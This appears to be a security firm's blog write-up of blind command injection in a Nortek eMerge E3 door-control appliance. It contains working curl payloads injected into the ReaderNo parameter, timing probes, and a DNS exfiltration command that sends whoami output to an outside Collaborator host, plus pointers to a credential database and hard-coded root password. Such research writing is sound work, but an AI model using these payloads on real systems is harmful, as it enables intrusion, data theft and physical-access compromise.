No Output, No Problem: Proving Blind RCE Over DNS on a Door-Control System

A Synack researcher proves blind command injection on a Nortek eMerge E3 access-control system, then exfiltrates data out-of-band over DNS.

A line illustration of a yellow-on-blue bug with nodes reminiscent of a motherboard spreading out from it like legs

Technical Summary

Exploits Explained

Severity Critical
Taxonomy Network & Host
Affected Components: Nortek Linear eMerge E3 card_scan.php endpoint

A blind, unauthenticated command-injection vulnerability was discovered in the card_scan.php endpoint of a Nortek Linear eMerge E3 access-control appliance. The ReaderNo parameter is passed unsanitized into a system command, but the endpoint never returns command output, error messages, or any visible change in its JSON response.

Execution was proven using timing side channels: injected sleep commands produced proportional response delays, and a conditional uname check confirmed the target ran Linux. Real command output was then exfiltrated out-of-band by embedding the result of whoami as a DNS subdomain label and triggering a lookup captured in Burp Collaborator, confirming code executed as the lighttpd user.

Full compromise of the appliance exposes an unencrypted credential database, a hard-coded root password, and the underlying access-control system governing physical doors and readers.

The Box That Opens Doors

Most vulnerabilities live in software. This one lived in the hardware that decides who gets through the front door.

The Nortek Linear eMerge E3 is an access-control appliance. It talks to badge readers, unlocks doors, and stores the credential database for an entire facility. When you compromise one of these, you are not just gaining a foothold on a server. You are sitting inside the security system itself. Physical access, employee records, and compliance exposure all come with the territory.

Discovery

I discovered this host during my initial recon on an internal host assessment. After port scanning, a follow-up sweep of the live hosts with Nuclei fingerprinted the appliance and called out a familiar endpoint. What followed was less about discovering a brand-new bug and more about proving one was there, even though it refused to acknowledge its presence.

The template that fires here is for CVE-2019-7256, which is the original eMerge command-injection flaw that CVE-2022-31499 later reopened. It identifies the bug in-band: it injects a command that writes a file to a web-readable path, then fetches that file back over HTTP and matches on its contents. That works when the target hands something back, but it can only confirm the vuln from a response. On an endpoint that runs your command and says nothing, the template has nothing to match, so it can’t tell me whether I’m actually executing code.

How the Endpoint Works

When a badge is presented at a reader, the front end posts the scan back to the device for a lookup. It’s a plain GET with three parameters: No, ReaderNo, and CardFormatNo. The device answers with a small JSON blob that simply reflects the values back:

bash — normal request

$ curl 'http://10.100.56.22/card_scan.php?No=123&ReaderNo=1&CardFormatNo=123'
{"CardNo":false,"No":124,"ReaderNo":"1","CardFormatNo":"123"}

ReaderNo should be a simple number. Under the hood, it was being dropped straight into a system command.

Manual Testing: The Wall

On Linux, backticks tell the shell to run the enclosed text, so I wrapped a sleep in backticks and sent it. The response came back, but the JSON just echoed my literal string. No command output, no error, no visible change. The only thing that moved was the clock:

bash — sleep 5

$ time curl 'http://10.100.56.22/card_scan.php?No=123&ReaderNo=%60sleep%205%60&CardFormatNo=123'
{"CardNo":false,"No":124,"ReaderNo":"`sleep 5`","CardFormatNo":"123"}

real    0m5.258s
user    0m0.005s
sys     0m0.006s

A five-second command produced a five-second response. Suggestive, but a single delay could be a slow network or a coincidence.

So I made the target prove it. If the delay really is my command executing, doubling the sleep should double the response time. It did, almost to the millisecond:

bash — sleep 10

$ time curl 'http://10.100.56.22/card_scan.php?No=123&ReaderNo=%60sleep%2010%60&CardFormatNo=123'
{"CardNo":false,"No":124,"ReaderNo":"`sleep 10`","CardFormatNo":"123"}

real    0m10.256s
user    0m0.011s
sys     0m0.001s

The response time tracks the sleep value one-for-one. The delay only happened when the shell logic succeeded.

One more check to nail down the platform: a conditional payload that only sleeps if the OS reports Linux. This is why the delay is such a clean signal. The shell runs uname, pipes it to grep Linux, and only if that match succeeds does && sleep 5 fire. The endpoint returns nothing either way, so the timing is the entire tell: a response that hangs for five seconds can only mean the whole chain executed on a Linux host. If the command hadn’t run, or the box weren’t Linux, the response would come back instantly.

bash — conditional: uname | grep Linux && sleep 5

$ time curl 'http://10.100.56.22/card_scan.php?No=123&ReaderNo=%60uname%20%7C%20grep%20Linux%20%26%26%20sleep%205%60&CardFormatNo=123'
{"CardNo":false,"No":124,"ReaderNo":"`uname | grep Linux && sleep 5`","CardFormatNo":"123"}

real    0m5.278s
user    0m0.006s
sys     0m0.006s

This is an arbitrary command execution on a Linux host, confirmed without seeing a single byte of output.

Problem Solved: Data Exfil over DNS

Timing proves a command ran. It does not tell you what the command returned. To get information out of a target that won’t talk back over HTTP, I needed an out-of-band channel and DNS is perfect for it, because a device that refuses to return output will still happily resolve a hostname.

The trick: run a command, plant its output as a subdomain label, and force a DNS lookup for that name. I wrapped whoami in $(...), appended my Burp Collaborator domain, and let ping trigger the resolution:

bash — DNS exfiltration

$ time curl 'http://10.100.56.22/card_scan.php?No=123&ReaderNo=%60ping%20-c%201%20%24(whoami).rto5l1972ag3y6jgaui3a79twk2bq5eu.x9.to%60&CardFormatNo=123'
{"CardNo":false,"No":124,"ReaderNo":"`ping -c 1 $(whoami).rto5l1972ag3y6jgaui3a79twk2bq5eu.x9.to`","CardFormatNo":"123"}

real    0m0.504s
user    0m0.005s
sys     0m0.006s

Notice the timing flipped: the HTTP request now returns in half a second, because the “wait” moved into DNS resolution rather than the web response. The real evidence lands on the listener.

And there it was in Burp Collaborator: the shell ran whoami, substituted the result into the hostname, and the device resolved it:

Burp Collaborator — DNS interaction log

The Collaborator server received a DNS lookup of type A for the domain name lIGhtTpD.rTO5L1972ag3y6JgAUi3a79TWk2bq5eu.x9.TO.

The lookup was received from IP address 172.253.2.29 at 2025-Aug-20 02:12:15.388 UTC.

The subdomain is the exfiltrated data: whoami returned lighttpd, so commands run as the web-server user. (The randomized casing, lIGhtTpD, is DNS “0x20” encoding, not a broken payload.) A device that never answered me over HTTP had just told me who it was running as.

Why This Matters

Command execution as lighttpd is already a full compromise of the appliance, and the platform hands an attacker easy ways to go further: an unencrypted SQLite database at /tmp/SpiderDB/Spider.db holding credentials, cardholder records, and access logs; a hard-coded root password baked into the firmware; and a foothold to pivot deeper into the network. Because the eMerge E3 governs doors, readers, and the credential store, that reach extends past the host into physical access, employee and cardholder data, and compliance exposure under GDPR, HIPAA, and PCI-DSS.

Key Takeaways

Blind is not the same as unexploitable. When a target won’t show you output, side channels do the talking: timing proves a command ran, and DNS carries the data back out. Off-the-shelf templates confirm this bug by reading a file back over HTTP. But the moment that channel closes, you have to get creative, and the out-of-band route works precisely because it leaves the protocol the target is trying to stay quiet on. The oldest bug class in web security is still worth hunting for, especially in the places where nobody expected a shell to be one metacharacter away.

Thanks for reading. To learn more about the global community of researchers uncovering vulnerabilities like this, check out the Synack Red Team and apply today. Be sure to follow Synack and the Synack Red Team on LinkedIn for upcoming blogs in the Exploits Explained series.

Frequently Asked Questions

What would 1,500
elite hackers find in
your stack?

The Synack Red Team and Sara AI Pentesting work side by side to test your environment and find vulnerabilities that matter.

See Synack In Action

Learn how the Synack Platform can secure your organization